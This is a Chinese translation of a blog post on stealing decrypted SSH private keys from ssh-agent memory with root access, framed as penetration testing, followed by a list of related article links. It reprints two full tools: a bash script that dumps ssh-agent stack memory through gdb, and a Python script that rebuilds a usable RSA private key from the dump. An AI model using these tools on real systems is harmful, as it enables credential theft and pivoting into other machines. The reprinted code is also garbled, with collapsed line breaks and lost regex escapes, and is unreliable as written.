lxj616 · 2014/08/13 10:39

from:https://www.netspi.com/blog/entryid/235/stealing-unencrypted-ssh-agent-keys-from-memory

0x01 背景


如果你曾经使用过SSH密钥来管理多台设备,那么你很可能已经用过SSH-agent了。这个工具是用来在内存中保存SSH密钥的,这样用户就不需要每次都输入他们的口令了。然而,这可能招致一些安全威胁。一个以root权限运行的用户可能足以从内存中取出解密后的SSH密钥并重新构造。 由于需要root权限,这个攻击看上去很鸡肋。比如说,一个攻击者可以安装一个键盘记录器并用之获取SSH密钥。然而,这样会导致攻击者必须等待目标输入他们SSH密钥的口令。这可能要花上几个小时,几天,甚至几个星期,取决于目标登出的频率。这也是从内存中获取SSH密钥为什么对于迅速拿下其他机器非常重要

0x02 使用 SSH-agent


使用SSH-agent的一个通用的方法是启动"SSH-agent bash"然后用"SSH-add"把密钥添加到agent中。一旦添加完,这个密钥将会在SSH-agent的栈中保存直到进程结束、另一密钥加入、或者用户使用SSH-add的-d或者-D选项为止。大多数人只会运行SSH-agent然后就忘掉这回事直到重启。

0x03 从内存中取SSH密钥


有很多种方式可以建立一个SSH-agents的内存镜像。最简单的方法是通过gdb的功能。Gdb使用了ptrace调用来连接SSH-agent。这给gdb提供了必要的截取内存以及运行进程的权限。grabagentmem.sh脚本提供了一种自动化截取内存的方式。默认情况下,当其运行时它会为每一个SSH-agent进程的栈创建一个内存镜像。这些文件被命名为SSHagent-PID.stack

[email protected]:/tmp# grabagentmem.sh
Created /tmp/SSHagent-17019.stack
复制代码

如果gdb在系统中不可用,那么也可以获取整个系统的内存镜像然后暴力解出SSH-agent进程的栈的内存。然而,这个做法不在我们本文的讨论范围之内。

0x04 从内存镜像中解析出SSH密钥


一旦我们获得了栈的副本那么我们就可以从这个文件里解析出密钥了。然而,在这个栈中保存的密钥和SSH-keygen生成的密钥格式不同。这就是parse_mem.py脚本好用的地方。这段脚本需要安装pyasn1 python模块。如果安装好了就可以用这脚本对付内存文件了。如果那个内存文件中包含了一个有效的RSA SSH密钥,那么它将会把它保存到硬盘上。这工具未来的版本还可能支持额外的密钥类型,比如说DSA, ECDSA, ED25519, 和 RSA1

[email protected]:/tmp# parse_mem.py /tmp/SSHagent-17019.stack /tmp/key
Found rsa key
Creating rsa key: /tmp/key.rsa
复制代码

这个key.rsa文件之后就可以被用来做SSH命令的-i参数,这就跟原始的用户密钥一模一样,只不过不再需要口令来解锁了。 获取有效的,可用的SSH密钥可以帮助渗透测试人员更加深入目标网络。密钥常常被用户在多个账户上使用。包括服务器的root账户。也可能服务器被配置为只允许密钥登陆。拥有一个解密了的密钥可以让当前环境下的行动更加简单。


附1:译者测试截图

附2:文中涉及脚本

grabagentmem.sh:

#!/bin/bash# First argument is the output directory.  Use /tmp if this is not specified.
outputdir="/tmp"# Grab pids for each ssh-agent
sshagentpids=$(ps --no-headers -fC ssh-agent | awk '{print $2}')# Iterate through the pids and create a memory dump of the stack for each
for pid in $sshagentpids; dostackmem="$(grep stack /proc/$pid/maps | sed -n 's/^([0-9a-f]*)-([0-9a-f]*) .*$/1 2/p')"startstack=$(echo $stackmem | awk '{print $1}')stopstack=$(echo $stackmem | awk '{print $2}')gdb --batch -pid $pid -ex "dump memory $outputdir/sshagent-$pid.stack 0x$startstack 0x$stopstack" 2&>1 >/dev/null # GDB doesn't error out properly if this fails.  # This will provide feedback if the file is actually createdif [ -f "$outputdir/sshagent-$pid.stack" ]; thenecho "Created $outputdir/sshagent-$pid.stack"elseecho "Error dumping memory from $pid"fi
done
复制代码

parse_mem.py:

#!/usr/bin/pythonimport sys
import base64
from pyasn1.type import univ
from pyasn1.codec.der import encoderclass sshkeyparse:""" This class is designed to parse a memory dump of ssh-agent and createunencrypted ssh keys that can then be used to gain access to othersystems"""keytypes = {'rsa': "ssh-rsa",'dsa': "ssh-dss",'ecsda': "ecdsa-sha2-nisp256",'ed25519': "ssh-ed25519"}def read(self, memdump):""" Reads a file and stories it in self.mem"""self.inputfile = memdumpfile = open(memdump, 'rb')self.mem = "".join(file.readlines())file.close()def unpack_bigint(self, buf):"""Turn binary chunk into integer"""v = 0for c in buf:v *= 256v += ord(c)return vdef search_key(self):"""Searches for keys in self.mem"""keysfound = {}for type in self.keytypes:magic = self.mem.find(self.keytypes[type])if magic is not -1:keysfound[magic] = typeif keysfound:print ("Found %s key" % keysfound[sorted(keysfound)[0]])self.mem = self.mem[sorted(keysfound)[0]:]self.type = keysfound[sorted(keysfound)[0]]return 1if not keysfound:return -1def getkeys(self, output):""" Parses for keys stored in ssh-agent's stack """keynum = 0validkey = 0validkey = self.search_key()while validkey != -1:if keynum == 0:keynum += 1self.create_key(output)else:keynum += 1self.create_key((output + "." + str(keynum)))validkey = self.search_key()if keynum == 0:# Did not find a valid key typeprint ("A saved key was not found in %s" % self.inputfile)print ("The user may not have loaded a key or the key loaded is " +"not supported.")sys.exit(1)else:return# Detect type of key and run key creationdef create_key(self, output):"""Creates key files"""output = output + "." + self.typeif self.type is "rsa":self.create_rsa(output)print ("Creating %s key: %s" % (self.type, output))if self.type is "dsa":self.create_dsa(output)print ("Creating %s key: %s" % (self.type, output))else:print ("%s key type is not currently supported." % self.type)sys.exit(3)def create_dsa(self, output):"""Create DSA SSH key file"""if self.mem[0:7] == "ssh-dss":print ("DSA SSH Keys are not currently supported.")self.mem = self.mem[start+size:]else:print ("Error: This is not a DSA SSH key file")sys.exit(2)def create_rsa(self, output):"""Create RSA SSH key file"""if self.mem[0:7] == "ssh-rsa":# FIXME: This needs to be cleaned up.start = 10size = self.unpack_bigint(self.mem[start:(start+2)])start += 2n = self.unpack_bigint(self.mem[start:(start+size)])start = start + size + 2size = self.unpack_bigint(self.mem[start:(start+2)])start += 2e = self.unpack_bigint(self.mem[start:(start+size)])start = start + size + 2size = self.unpack_bigint(self.mem[start:(start+2)])start += 2d = self.unpack_bigint(self.mem[start:(start+size)])start = start + size + 2size = self.unpack_bigint(self.mem[start:(start+2)])start += 2c = self.unpack_bigint(self.mem[start:(start+size)])start = start + size + 2size = self.unpack_bigint(self.mem[start:(start+2)])start += 2p = self.unpack_bigint(self.mem[start:(start+size)])start = start + size + 2size = self.unpack_bigint(self.mem[start:(start+2)])start += 2q = self.unpack_bigint(self.mem[start:(start+size)])e1 = d % (p - 1)e2 = d % (q - 1)self.mem = self.mem[start+size:]else:print ("Error: This is not a RSA SSH key file")sys.exit(2)seq = (univ.Integer(0),univ.Integer(n),univ.Integer(e),univ.Integer(d),univ.Integer(p),univ.Integer(q),univ.Integer(e1),univ.Integer(e2),univ.Integer(c),)struct = univ.Sequence()for i in xrange(len(seq)):struct.setComponentByPosition(i, seq[i])raw = encoder.encode(struct)data = base64.b64encode(raw)# chop data up into lines of certain widthwidth = 64chopped = [data[i:i + width] for i in xrange(0, len(data), width)]# assemble file contentcontent = """-----BEGIN RSA PRIVATE KEY-----
%s
-----END RSA PRIVATE KEY-----
""" % 'n'.join(chopped)output = open(output, 'w')output.write(content)output.close()# MAINkeystart = sshkeyparse()
keystart.read(sys.argv[1])
keystart.getkeys(sys.argv[2])
复制代码

从内存中窃取未加密的SSH-agent密钥相关推荐

  1. LWN:限制SSH agent密钥!

    关注了就能看到更多这么棒的文章哦- Restricting SSH agent keys By Jake Edge January 5, 2022 DeepL assisted translation ...

  2. 内存中的调用别的软件程序加密解密函数_公司加密软件哪个最好用?

    即使是数据时代的发展,加密技术的不断完善和进步,也没有一家加密软件公司敢说自己的加密软件是最好的.为什么这么说?因为每个企业的环境不同,需要部署的加密环境也不同.所以个人认为"最好用&quo ...

  3. 富士康被黑客攻击,索要 2.3 亿元赎金:已加密约1200台服务器,窃取了100 GB的未加密文件,并删除20~30TB的备份

    富士康被黑客攻击,索要 2.3 亿元赎金:已加密约1200台服务器,窃取了100 GB的未加密文件,并删除20-30TB的备份 https://mp.weixin.qq.com/s/Nds4THFhn ...

  4. 【中危】未加密的__VIEWSTATE参数

    0. 知识补充 学习链接:ASP.NET 之 ViewState .浅谈ViewState 简单理解: 表单提交在遇到服务器返回错误时候,再次填写表单时,上次填写的值不会被清空. 维持ViewStat ...

  5. 从内存中加载并启动一个exe

    从内存中加载并启动一个exe 文章作者:Idle_ (阿呆) 信息来源:[url]http://cnxhacker.net/article/show/2821.html[/url] windows似乎 ...

  6. 从内存中加载并运行exe(两种方法)

    windows似乎只提供了一种启动进程的方法:即必须从一个可执行文件中加载并启动.      而下面这段代码就是提供一种可以直接从内存中启动一个exe的变通办法.      用途嘛,     也许可以 ...

  7. linux下图片加密原理,Linux中常见的加密技术介绍

    常见的加密技术: 对称加密:非对称加密:单向加密:SSL/TLS:秘钥交换 1.对称加密 采用单钥密码系统的加密方法,同一个密钥可以同时用作信息的加密和解密,这种加密方法称为对称加密,也称为单密钥加密 ...

  8. Navicat使用教程:SQL Server中的磁盘加密

    转载来源 :Navicat使用教程:SQL Server中的磁盘加密 : http://www.safebase.cn/article-255744-1.html 摘要: Navicat Premiu ...

  9. 服务器鉴别信息清楚,对服务器远程管理时鉴别信息未加密

    对服务器远程管理时鉴别信息未加密 内容精选 换一换 创建一台或多台按需付费方式的云服务器.本接口为异步接口,当前创建云服务器请求下发成功后会返回job_id,此时创建云服务器并没有立即完成,需要通过调 ...

最新文章

  1. 敏捷嘉年华——敏捷之旅2012(上海站)
  2. python基础(二)字符串內建函数详解
  3. Gradle构建中:No cached version available for offline mode解决方案
  4. 是什么包_包粽子教程,喜欢的收藏,以后想吃什么样的都可以自己包
  5. 【TypeScript系列教程04】编译参数
  6. Flutter高内聚组件怎么做?阿里闲鱼打造开源高效方案!
  7. UVA10473 Simple Base Conversion【进制转换】
  8. 说一下OFO带给我们的启示
  9. 表结构生成html页面,表结构设计器
  10. 数据库设计-视图与中间表的比较
  11. VsCode模仿简单百度网页(html)
  12. 虚幻竞技场3中的配置文件
  13. Oracle RAC 安装指北 10gR2+OEL5.11
  14. IOS中impactor报81错误解决方法
  15. 回归中的相关度和R平方值——学习笔记
  16. 计算机上安装的网络协议,怎么安装网络协议
  17. iOS-建设银行破解分享
  18. 人工智能面试总结-回归
  19. OpenWrt一些小问题的解决方法
  20. windows端口映射

热门文章

  1. 云计算的思想领袖:与Tier3的创始人和首席技术官Jared Wray的谈话
  2. HttpApplication的认识与加深理解
  3. C#输出带有换行符的字符串
  4. 实践:《从头到脚撸一个多人视频聊天 — 前端 WebRTC 实战(一)》
  5. 【401天】跃迁之路——程序员高效学习方法论探索系列(实验阶段158-2018.03.13)...
  6. php面试题之一——PHP核心技术(高级部分)
  7. [转] FFmpeg常用基本命令
  8. nginx 403 Forbidden
  9. paper 22:kl-divergence(KL散度)实现代码
  10. Qt控件中的属性sizePolicy说明